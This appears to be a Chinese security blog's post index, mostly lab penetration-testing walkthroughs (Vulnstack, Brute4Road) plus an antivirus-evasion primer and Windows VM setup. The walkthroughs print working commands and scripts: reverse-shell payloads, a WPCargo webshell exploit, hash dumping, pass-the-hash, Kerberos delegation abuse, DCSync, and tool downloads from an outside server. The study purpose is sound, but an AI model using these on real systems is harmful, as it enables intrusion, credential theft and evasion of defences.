/domain # 查看域中某工作组net group "domain admins" /domain # 查看域管理员的名字net group "domain computers" /domain # 查看域中的其他主机名net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台) 1、先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org 也可以执行命令net config workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息 2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain查看有几个域(可能有多个) 3、查看域的组账户信息(工作组) 4、既然只有一个域,那就利用 net group “domain controllers” /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA 5、确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址) 扫描出来 除了域控OWA 之外,还有一台主机ROOT-TVI862UBEH 至此内网域信息收集完毕,已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141,接下来的目标就是横向渗透拿下域控 (3) rdp远程登陆win7Win7跳板机 默认是不开启3389的,同时还有防火墙 123456789#注册表开启3389端口REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f#添加防火墙规则netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389#关闭防火墙netsh firewall set opmode disable #winsows server 2003 之前netsh advfirewall set allprofiles state off #winsows server 2003 之后 这里我们以域用户 administrator登录。 输入我们刚从CS上 mimikatz dump下来的密码Hongrisec@2019 (也可以自己 net user创建一个用户 加入到administrator组里 用那个账户登录) 成功连接 如果MSF 中有Win7 的 Shell,只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面 <4> 内网渗透(1)CS派生会话给MSF1、MSF开启监听123456msfconsole # 启动MSF框架use exploit/multi/handlerset payload windows/meterpreter/reverse_httpset lhost 192.168.236.128set lport 1111exploit 2、CS派生会话 案例 choose之后,我们的msf那边就可以收到一个session会话(但是没有) CS执行失败,这里我们换一种方法 采用质朴的方法反弹 win7的shell 123456789msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.128 LPORT=1111 -f exe -o shell.exe #kali里生成msf后门文件 shell.exe蚁剑上传到 win7上 kali里运行监听set payload windows/meterpreter/reverse_tcpset lhost 192.168.236.128set lport 1111exploit 蚁剑运行 shell.exe 得到meterpreter 3、MSF 简单利用获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐): 再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序: 4、添加路由123456# 可以用模块自动添加路由run post/multi/manage/autoroute#添加一条路由run autoroute -s 192.168.52.0/24#查看路由添加情况run autoroute -p 5、内网端口扫描先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口: 1234use auxiliary/scanner/portscan/tcpset rhosts 192.168.52.141set ports 80,135-139,445,3306,3389run 192.168.52.141 win2003域成员机开启了 135、139、445端口 同理扫描一下域控机子 域控开启了80、135、139、445端口 (2)MSF进行ms17-010攻击(未成功)1、msf扫描模块探测是否存在ms17-010漏洞对于开启了 445 端口的 Windows 服务器肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描: 1234search ms17_010use auxiliary/scanner/smb/smb_ms17_010set rhosts 192.168.52.141run 一测 域控和成员机可能都存在ms17-010漏洞2、漏洞利用 1234use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接set rhosts 192.168.52.138run 并没有拿到shell,看师傅的博客说好像通过 ms17-010直接拿到shell的情况并不多,成功率不高 (3) 哈希传递攻击(PTH)拿下域控上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。 【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。 在域环境中,利用哈希传递攻击的渗透方式往往是这样的: 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值; 通过哈希传递攻击尝试登录其他主机; 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。 下面使用 Metasploit/CS 来进行本靶场环境的进行 PTH 攻击演示: 1、CS哈希传递攻击利用前面我们也有提到过,在win7 上线CS时,我们可以右键会话 ->执行 -> Run Mimikatz直接借助 CS 进行用户哈希凭证窃取 这里抓取到用户哈希凭证之后,我们执行 net view 发现了域内另外俩台机器点击这里可以看到 可以利用抓取到的密码 psexec 利用域管理员账户 Hash login一下 监听器选 windows_smb/bind_pipe 拿到正向会话(前面三层内网靶机有讲正向反向)之后,我们可以右键 目标->文件管理 可以看到域控的文件 我们可以进行上传文件操作,拿下域控 2、MSF哈希传递攻击run windows/gather/smart_hashdump 来进行hashdump 需要SYSTEM权限,我们直接getsystem 发现可以正常提权提到SYSTEM权限之后再执行 run windows/gather/smart_hashdump 得到管理员的密码的hash 12[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 但是这个只是用户密码的一个hash值,我们在msf里加载mimikatz模块ps:ms6中 mimikatz模块已经合并为kiwi模块 1234567891011121314151617181920load kiwicreds_all #列举所有凭据creds_kerberos #列举所有kerberos凭据creds_msv #列举所有msv凭据creds_ssp #列举所有ssp凭据creds_tspkg #列举所有tspkg凭据creds_wdigest #列举所有wdigest凭据dcsync #通过DCSync检索用户帐户信息dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RIDgolden_ticket_create #创建黄金票据kerberos_ticket_list #列举kerberos票据kerberos_ticket_purge #清除kerberos票据kerberos_ticket_use #使用kerberos票据kiwi_cmd #执行mimikatz的命令,后面接mimikatz.exe的命令lsa_dump_sam #dump出lsa的SAMlsa_dump_secrets #dump出lsa的密文password_change #修改密码wifi_list #列出当前用户的wifi配置文件wifi_list_shared #列出共享wifi配置文件/编码 抓取一下用户哈希凭证,报错说 mimikatz在x64用不了。。。 不知道怎么解决 卡住了 后面第二天 CS秃然就可以用了(用着用着beacon就又exit了 不知道为啥) 获得 NTLM Hash:4f1a2b2cf1dd79ae22a7f198412d7e51,在 Metasploit 中,经常使用于哈希传递攻击的模块有: 123auxiliary/admin/smb/psexec_command #在目标机器上执行系统命令exploit/windows/smb/psexec #用psexec执行系统命令exploit/windows/smb/psexec_psh #使用powershell作为payload 以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例: 123456use exploit/windows/smb/psexecset rhosts 192.168.52.138set smbuser administratorset smbpass 00000000000000000000000000000000:4f1a2b2cf1dd79ae22a7f198412d7e51set smbdomain godrun 但是 time out…… 没通CS里通过 PTH psexec成功拿下域控 参考链接:https://blog.csdn.net/weixin_39190897/article/details/118353886?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167602673016800182163716%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167602673016800182163716&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-118353886-null-null.142^v73^wechat,201^v4^add_ask,239^v1^insert_chatgpt&utm_term=%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA&spm=1018.2226.3001.4449 https://bwshen.blog.csdn.net/article/details/118338328 https://blog.csdn.net/qq_38626043/article/details/109388147","link":"/2023/09/20/Vulnstack-%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA-%E4%B8%80/"},{"title":"免杀初探","text":"免杀常见名词解释shellcodeshellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因常让攻击者获得shell而得名。shellcode常常使用机器语言编写,可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令 常见的shellcode都是一串16进制的机器码,本质上是一段汇编指令,如下图所示: shellcode loaderloader加载器,加载shellcode 分离免杀shellcode放在服务器上 shellcode 混淆常见混淆就是,base64编码、凯撒密码、aes加密、字符串翻转等等 DLLDLL 动态链接库 DLL注入就是,将木马生成成一个DLL 动态链接库这样形式的文件 FudFully undetectable 完全不被检测 工具使用msfvenom1msfvenom -l payloads | grep "windows" 如何判断是分离式的payload还是整合的payload呢? 反射式DLL注入,服务端生成一个DLL文件,不落硬盘,通过下载器直接载入到目标的内存中执行 实现分离 整合的,则是例如exe 直接在目标运行的 cuiri工具需要go语言环境 用法: -f string 通过shellcode生成免杀马 -manual 查看shellcode生成方法 利用msfvenom生成一段shellcode 1msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 lhost=192.168.236.128 lport=4444 --encrypt rc4 --encrypt-key Hardtoguess -f c > shell.txt 去掉第一行和结尾的 ; 写入文本文件中 1cuiri_win64.exe -f shell.txt veil工具工具介绍: 安装: 安装分两种,一种是手动安装,一种是docker安全装,这里建议使用docker安装,方便快捷 1234# 拉取veil镜像docker pull mattiasohlsson/veil# 拉取成功后,使用该镜像启动容器,并将生成免杀文件的目录映射到宿主机的/tmp目录中docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil 使用: veil中有两个功能模块,Evasion和Ordnance,其中Evasion来做文件免杀 我们选择Evasion,列出免杀模块的payload 1veil -t Evasion --list payloads 使用 33 免杀模块生成 exe 1veil -t Evasion -p 33 --ordance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o test","link":"/2023/10/10/%E5%85%8D%E6%9D%80%E5%88%9D%E6%8E%A2/"},{"title":"安装window server虚拟机详细步骤","text":"下载操作系统的网站:https://msdn.itellyou.cn/在里面搜索找到对应的操作系统,使用迅雷下载(比网盘快多了🤡) <1> Windows Server 2012 R2(1) 虚拟机安装右键,新建虚拟机。稍后安装操作系统 -> Microsoft Windows 选择对应版本2012 R2 -> 浏览选择安装的对应位置(尽量别使用默认在c盘) -> 固件类型默认BIOS -> 下面都直接默认 -> 注意选择存储为单个文件 -> CD/DVD选中我们下载的.iso镜像文件。启动 点击下一步 选择现在安装 产品激活密钥网上搜一个:NB4WH-BBBYV-3MPPC-9RCMV-46XCB。 填写后点击下一步 选择安装 Windows Server 2012 R2 Standard(带有GUI的服务器),下一步 接受许可条款 选择自定义安装Windows 新建、应用 确定 下一步 等待系统安装 设置管理员密码,点完成。 注:不要设置的太简单 输入刚才设置的管理员密码,登录系统。 成功登录,安装完毕 (2) 安装vmtoolsVMtools安装时会显示失败,我们需要打上一些补丁。一般要打上KB2919355的补丁。而KB2919355需要打前置补丁KB2919442。KB2919442下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=42153KB2919355下载地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=42334这里是官网的说明地址,里有下载地址,在虚拟机里IE打开下载下来运行安装就行。如果显示不出来的话,可以直接访问这两个来下载:1、下载 Windows8.1-KB2919442-x64.msuhttps://download.microsoft.com/download/C/F/8/CF821C31-38C7-4C5C-89BB-B283059269AF/Windows8.1-KB2919442-x64.msu 2、下载 Windows8.1-KB2919355-x64.msuhttps://download.microsoft.com/download/2/5/6/256CCCFB-5341-4A8D-A277-8A81B21A1E35/Windows8.1-KB2919355-x64.msu 最后安装完KB2919355后,重新启动 等配置更新。开机后再根据vmware提示下载vmtools 成功打开,一直下一步即可。再次重新启动 vmtools生效 <2> Windows Server 2008 R2(1) 虚拟机安装右键,新建虚拟机。稍后安装操作系统 -> Microsoft Windows 选择对应版本2012 R2 -> 浏览选择安装的对应位置(尽量别使用默认在c盘) -> 固件类型默认BIOS -> 下面都直接默认 -> 注意选择存储为单个文件 -> CD/DVD选中我们下载的.iso镜像文件。 开启后 选择简体中文,下一步 -> 现在安装 -> 我接受许可条款 选择自定义 进入磁盘分区,点击新建 应用 现在就开始安装了 安装完后会重启。首次登陆需要设置管理员账户,设置管理员密码 密码必须包含大小写字母、数字,否则达不到Windows server密码安全要求。建议:大小写字母、数字、符号 成功登录,进入桌面 至此 Window Server 2008 R2 hpc版安装成功 (2) 安装vmtools好像搞不搞没什么必要,不搞了 大家可以搜一搜 <3> Windows7早之前下载的来着,大体过程差不多,就不再重新安装了","link":"/2023/09/20/%E5%AE%89%E8%A3%85window-server%E8%99%9A%E6%8B%9F%E6%9C%BA%E8%AF%A6%E7%BB%86%E6%AD%A5%E9%AA%A4/"},{"title":"春秋云镜-Brute4Road靶场","text":"靶标介绍: Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。 主要涉及到 redis主从复制、suid-base64读文件、wordpress WPCargo6.9.0-rce getshell、BadPotato提权、Rubeus 申请针对域控LDAP\\CIFS 服务的票据、WMIC,PTH横向移动 <1> flag1(1) redis主从复制 getshell fscan扫描发现,6379端口开放 ftp可以匿名登录 存在 redis 未授权访问 测试了写计划任务反弹shell,提示没有权限 主从复制rce 得到了shell 也可以利用msf的 redis_replication 模块 这里 redis连接不稳定,重置了一下靶场 (2) suid - base64读文件拿到shell后 在 /home/redis/flag/ 下发现flag文件 flag01 12#更改交互方式python -c 'import pty;pty.spawn("/bin/bash");' 用户为redis,没有权限读取,需要提权 查找具有suid权限的可执行程序 12find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ; 发现了 /usr/bin/base64 1base64 "/home/redis/flag/flag01" | base64 --decode 得到flag1: <2> flag2(1) 内网信息收集ifconfig、ip addr、arp -a 或 cat /etc/hosts获取得到所在内网网段 172.22.2.7/24 上传一个fscan 扫一下c段 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455start infoscantrying RunIcmp2The current user permissions unable to send icmp packetsstart ping(icmp) Target 172.22.2.3 is alive(icmp) Target 172.22.2.7 is alive(icmp) Target 172.22.2.16 is alive(icmp) Target 172.22.2.18 is alive(icmp) Target 172.22.2.34 is alive[*] Icmp alive hosts len is: 5172.22.2.3:445 open172.22.2.7:21 open172.22.2.7:22 open172.22.2.7:6379 open172.22.2.16:1433 open172.22.2.34:445 open172.22.2.16:445 open172.22.2.18:445 open172.22.2.34:139 open172.22.2.18:139 open172.22.2.16:139 open172.22.2.34:135 open172.22.2.3:139 open172.22.2.16:135 open172.22.2.3:135 open172.22.2.18:80 open172.22.2.16:80 open172.22.2.18:22 open172.22.2.7:80 open172.22.2.3:88 open[*] alive ports len is: 20start vulscan[*] NetInfo:[*]172.22.2.3 [->]DC [->]172.22.2.3[*] NetInfo:[*]172.22.2.34 [->]CLIENT01 [->]172.22.2.34[*] WebTitle: http://172.22.2.16 code:404 len:315 title:Not Found[*] 172.22.2.3 (Windows Server 2016 Datacenter 14393)[*] NetBios: 172.22.2.34 XIAORANG\\CLIENT01 [*] NetInfo:[*]172.22.2.16 [->]MSSQLSERVER [->]172.22.2.16[*] NetBios: 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] NetBios: 172.22.2.3 [+]DC DC.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] WebTitle: http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS[*] 172.22.2.16 (Windows Server 2016 Datacenter 14393)[*] NetBios: 172.22.2.18 WORKGROUP\\UBUNTU-WEB02 [+] ftp://172.22.2.7:21:anonymous [->]pub[*] WebTitle: http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点 扫出来了存活的四台主机 12345 172.22.2.3 DCTarget 172.22.2.7 Web站点Target 172.22.2.16 Windows Server MSSQLSERVERTarget 172.22.2.18 WordPress站点Target 172.22.2.34 上传frp 或者 vennom 搞一个socks代理 我习惯用venom 1234curl http://vps:port/frpc --output frpccurl http://101.42.224.57:2222/agent_linux_x64 --output agentcurl http://101.42.224.57:2222/fscan_amd64 --output fscancurl http://vps:port/frpc.ini --output frpc.ini 注:socks只能代理tcp的流量,ping走的是icmp,所以我们挂上socks代理也是ping不了的。 linux 里配置proxychains 代理 (2) wordpress WPCargo < 6.9.0rce getshell之后 wpscan扫一下 wordpress站点 1proxychains4 wpscan --url http://172.22.2.18/ 存在 wpcargo插件 version: 6.x.x WPCargo < 6.9.0存在一个RCE漏洞 网上搜索 WPCargo < 6.9.0 - Unauthenticated RCE 查到: https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a exp如下: 123456789101112131415161718192021222324import sysimport binasciiimport requests# This is a magic string that when treated as pixels and compressed using the png# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png filepayload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'def encode_character_code(c: int): return '{:08b}'.format(c).replace('0', 'x')text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]destination_url = 'http://127.0.0.1:8001/'cmd = 'whoami'# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.requests.get( f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php")# We have uploaded a webshell - now let's use it to execute a command.print(requests.post( f"{destination_url}webshell.php?1=system", data={"2": cmd}).content.decode('ascii', 'ignore')) 挂上代理使用python运行 不知道为啥报错了 后来把exp.py上传到外网机运行才成功 成功写入shell 因为写入的木马是system,所以调换蚁剑连接模式 蚁剑连接 我的蚁剑好像没有这个模式 ,,,,,,, 那就直接执行命令吧 都一样 只不过蚁剑那样查看文件更清晰明了一点 下载了新版蚁剑 连接上去之后 在 wp-config.php 查看 wordpress的配置文件信息 得到了数据库的用户名和连接密码 wpuser:WpuserEha8Fgj9 右键数据操作 连接上去看看 得到 flag02 <3> flag3(1) MSSqlServer RCE再查看提示 S0meth1ng_y0u_m1ght_1ntereSted 读取 得到了一些个密码 结合签名 fscan扫出来的内网机子 可能存在 172.22.2.16 这台MSSQLSERVER 的密码 [*]172.22.2.16 [->]MSSQLSERVER [->]172.22.2.16 将密码全部导出 爆破一下 MSSql密码 这里利用hydra工具 1proxychains4 hydra -l sa -P pass.txt 172.22.2.16 mssql 得到密码 ElGNkOiC 可以使用navicat + proxyxifier 123# 开启xp_cmdshellexec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure; 这里直接使用Multiple.Database.Utilization.Tools工具连接 下载地址:https://github.com/SafeGroceryStore/MDUT 前面fscan 扫描 也得到了这台机子版本 Windows Server 2016 Datacenter 14393 执行 netstat -ano 开启了3389端口 (2) Ladon BadPotato提权&rdp远程登录Windows Server 2016 可以用SweetPotato提权 项目介绍:从Windows 7到Windows 10 / Server 2019的本地服务到系统权限提升漏洞,也是土豆家族的有一个提权漏洞 下载地址:https://github.com/CCob/SweetPotato 上传SweetPotato.exe提权,得到system权限 不确定的话 也可以上传 Ladon上去 激活Ole Automation Procedures组件,把Ladon上传上去 测试,BadPotato成功提权 添加管理员用户 12C:/迅雷下载/Ladon911.exe BadPotato "net user test 123qwe! /add"C:/迅雷下载/Ladon911.exe BadPotato "net localgroup administrators test /add" 创建成功后 rdp 远程登录 在 Administrator 目录下得到flag03 <4> flag4涉及到一些 约束委派、票据方面的 用到的Rubeus工具 还没学到 学了之后再记录一下 — 2023.9.20 学了NTLM、Kerberos认证之后再回来看,熟悉了好多 —– 2023.10.13 mimikatz获取MSSQLSERVER$服务账户 hash 在 172.22.2.16 MSSQL机器上继续进行一下信息搜集 systeminfo 得到域名 xiaorang.lab 上传 mimikatz dump一下密码 12privilege::debugsekurlsa::logonPasswords 得到服务用户 MSSQLSERVER$ 的hash 服务账户的话,可以尝试委派攻击 这里 MSSQLSERVER机器配置了到 DC LDAP 和 CIFS 服务的约束性委派 Rubeus 申请 CIFS服务的票据首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到 Base64 加密后的 TGT 票据 1.\\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:d9bd25dd6f02e2de2bef5b7ecc32d609 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap 然后使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 CIFS 服务的票据,并将得到的票据传递到内存中 1.\\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0XoovbtDvSDfrGD6oCksUnsPeYLnVEnioTn99BBg7LoOjtI9hUgJn9DHYBZQ1h3XmCdVW1vGCInQOAlC02qEI0adteG9ebbUfXc3tFB6VuFW7DQ1TgFJjfCRsY4QB0+ev092ubCP4RQZlWZoFSaW1dH/SSgtMdokWLiQ7+6xmPqDmgp4cV2NAJJLL5LgIZRFHd9eZRksMWT4EDU0me2E43o1aY07G/GrglLmalss3RcR+5zJ0aSVsHcBtbmNqvR60zhk1BAmtdrdi+JtN1ATgmFQ+9IDXSryQ6USfoC6FTwgi96pfa6NnR01xH2C6dYSevdAyWyjTgfl38BpA6vODYnD3htj7HSFSHo/buBRPIxqqa2yM3Od1siBdkCLas1uGVuxoocNxj3dgmTh7i2sLlwXBGXZqOKWH4E1lncF8b4DBpP2Tdkn9iRsFk9hIe3KP1oRHHmWyG3ipW2x24tplOeWqQDSlAczOQAY1gqZhNcTKgp0dzsOYVgXpP+vyQA5DznuSBivGtGiQbu2Xp+Dq31ZhMP4rli2uu95gAhb0RhByq/JIA6oWjiiRuTYZ1DLJ2stF2OUloHKvJlU6jI5AVwEvQnS09+QN7JDdqHhqsb8zyJamUQEt2UAKrINJzhRpTVjenHdr3dqrNVaLbu4JPvkKJc3UnSQqe+FqUCmsVHTnFF82zsUTrpuE7OyinHUjBYAY8Aixvhn+vO9+dajP34auIOuGt6SXK/j3Xb73AtNu9Tvmfs0t+Y8hTmhYNkn5uIRlV/azG1ncrJvfHEH9gqHoS9Ac5IsNHdo0jFg2Yqv4RNfLSc1u5R6yEK0rSf4D4YCSxPYpweHozTtJh1dROmhDJWZxJgqji3b/eqUIdjtu/HbbFZbHrs81TZ7og+3a0hwvlqQRu1JaHTe/ejiHhvN2cXaG6b9ClE81r1wZKWaUMmW3HFuYAlr8W0EDEHyQljZYgQVHJkwN6e9tWHwSyX7ZyecYD7UGgRBPZQVe+mVcCW5a3Yokj3hgQCjewFrDu+PHZadH1n5IAeJyUJxp9SWJySMF3tdNsV4jF9XQdJmRpvjLN2t+Qe4Nf/bS4Wn5aH3ItcTZyhVJ8rMCb5Z0Wcgs7Agg0c7RODkA85Pmht+NzJbL+nRUHpuBNewutYYmTvylUJ2+X6rec0LpeTFwZD17CwBtQOfYdq5zxMACjZhglAPUH8pWTjSctVEO5ts4/X4wupUMhp4MJqeBZTS/FdAF68hiNVfS8H73oKGH78V4Fv/ykGDuAeVvgGYAKKhBtZXVb2IVBtEmQ2Xp1LgAEdes6FHzSRty4QyKfhXncWzQ+OWwIKWmdZ08vR1xVWpCH7qQ52fig5yuUTnMyd3zMPZach6+EXcfpXgxzyorbfJN6Nu48rGCHu6CrNuARYzcWec1iavU9ncgHObDCSgVa5+At351/XVGzYjCGY2hduvCKF6mIdHEreSve0HqjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBDnUva0DOnt9p3oVtck8tU5oQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIzMTAxMzEwMTA0OFqmERgPMjAyMzEwMTMyMDEwNDhapxEYDzIwMjMxMDIwMTAxMDQ4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg== klist 看一下,成功申请到 访问 CIFS的票据 1dir \\\\DC.xiaorang.lab\\c$ 访问域控成功 最终找到 flag在 c:\\Users\\Administrator\\flag\\flag04.txt 1type \\\\DC.xiaorang.lab\\c$\\Users\\Administrator\\flag\\flag04.txt 得到flag: Rubeus申请 LDAP服务的票据第一步同理,先利用 MSSQLSERVER$ 的Hash申请TGT 1Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:d9bd25dd6f02e2de2bef5b7ecc32d609 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap 然后通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存后 1.\\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE32+yacGkAGRudVKX6Lf0gKhjEaMMWmsMznRtO6S+b7JZjjs6xO/TurXVZ+57qOoByxLnQK1Rs/qPJ6Zp5uNuVeYpJRNy/C6C9NbC06i1yr0DdvXvHWwSXmJMaCZgXNK6wTAphGJeiV2PeYigEc9con5C99wIz3UgAda9w7qazQE6Bt2riUc+Pp/aJqfXcdJhTXgY74oRfTYJicn5O0yOXbKFHiCo5tI1hCdPaGyCDDUASiGVwdVNYhTKUCpcA7tPwatcBkPcrjOLePfaznf6Y3WMy6jjRgeA+mlKAjiOzwVqp/V8NKRfdEKdgU5q/OZv7Sy4SDxEWs1lZ/LMlN5CXilDwRHUJfjrMY8xQ1HW2WjaXmlnzMXD5K/8XDj2Wn9caKtTFPbGd1oyiLBv2QUYie6wFEhrhVH9Udo25/bN9GCTNtxS3STH6hE+09upxtKwZ/xCu2ug9UoOxSCsn8yqWJwUwHrX6ax1Didg04ziA8iFkCYDrgELdJfCrpCzQz1bWs30oGAKh2pmVVpYhzgBfv3a0+yiyt97fIFAcd5gNiLn0/OTe5tJ3Lj32iNbbKQHrkHxq+54mDckWMKXRYwK18eMNUoR58mQlAPqa4BMbilxwWZA5qPG1R51/BJgOTvWUIkj5JDkZpGotOLBkRHoH8JZe4YfxurpyaZKYlmk3sTnre8deDsAOItf90yLdXVY24XBrxA25/Mgwu/utYGp/6ADmYkZGPr+8l4gySoDpg0VNZIULI/E2NqNQYDBABexvcXTVAcbURq3q9rHyPaJGEQbJDGXE5PBt8wlQXW9sZRUPurxE24ZcLxgFIp6UFgmVaJaDTdj/IiFqa9M8T/MJMqpWTivlOXn6abvgmIvgCab2MOmpIkpc6Xcq59879VMsdDghvHpUYp5Z+EWMsmrOLQCSWAFZxMgVN0UA9tLbbTJRWiZvYNpEZ4J0sV/c6OSAcFtfr/Kno5wNbGTfELb/QZNKeEVk+MPT3LG28vJFCVnyyrzh6X9rJ5P2Sr58xFw4mdSuyd4dS3hWNEFB7SlN+R0vO1pK8hF4XnJZn/ExnZSLg0Tr087uFTmqQTMnu7g6ys85SBSnf6ExtQxo4d+arvMZChV3SpYZGgJPHxAmYPrpm+oxa5FohEXeQaXSHy6hKiMGqO+LKSQO253dJ90b9EQ5p+wH2/7L26BHFH8Bat1JCW5Q1Mt/JaRdIp0Tv//F+2Kr2vlC92I5lNnBRxqZXVfuqGQUa4bclQeZleqdGhCrq4gFOavlmzAK/0dA5Tl75cpkIHWWSJURG//v708FV1yc314FZ54deVTTfvQWcmwssoS+DHqdhdBsU09SP3oBSViSMz+y+/AQGPw12gYGvwHVyA7m8C1Jm2EjiMBxlc2ieOj3RzeI1lo2f1vfWk/8DAABcaAo3uk9KbcQlYinxii6aqtoluXWfZaFbs6+D/M9Bop3epNA6hi2n8lKjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBAz2hwi+O3FNVL4HiirLZoSoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIzMTAxMzEwMzYyM1qmERgPMjAyMzEwMTMyMDM2MjNapxEYDzIwMjMxMDIwMTAzNjIzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg== klist 看一下,成功申请到 访问 LDAP服务的票据 LDAP 服务具有DCSync权限,mimikatz dump下来administrator域管的 hash 1mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit 得到域管 NTLM Hash:1a19251fbd935969832616366ae3fe62 获得域管的hash之后可以通过WMI服务登录域控 1proxychains4 python wmiexec.py -hashes :1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3 或者直接PTH 拿下域控 1proxychains crackmapexec smb 172.22.2.3 -u administrator -H 1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type 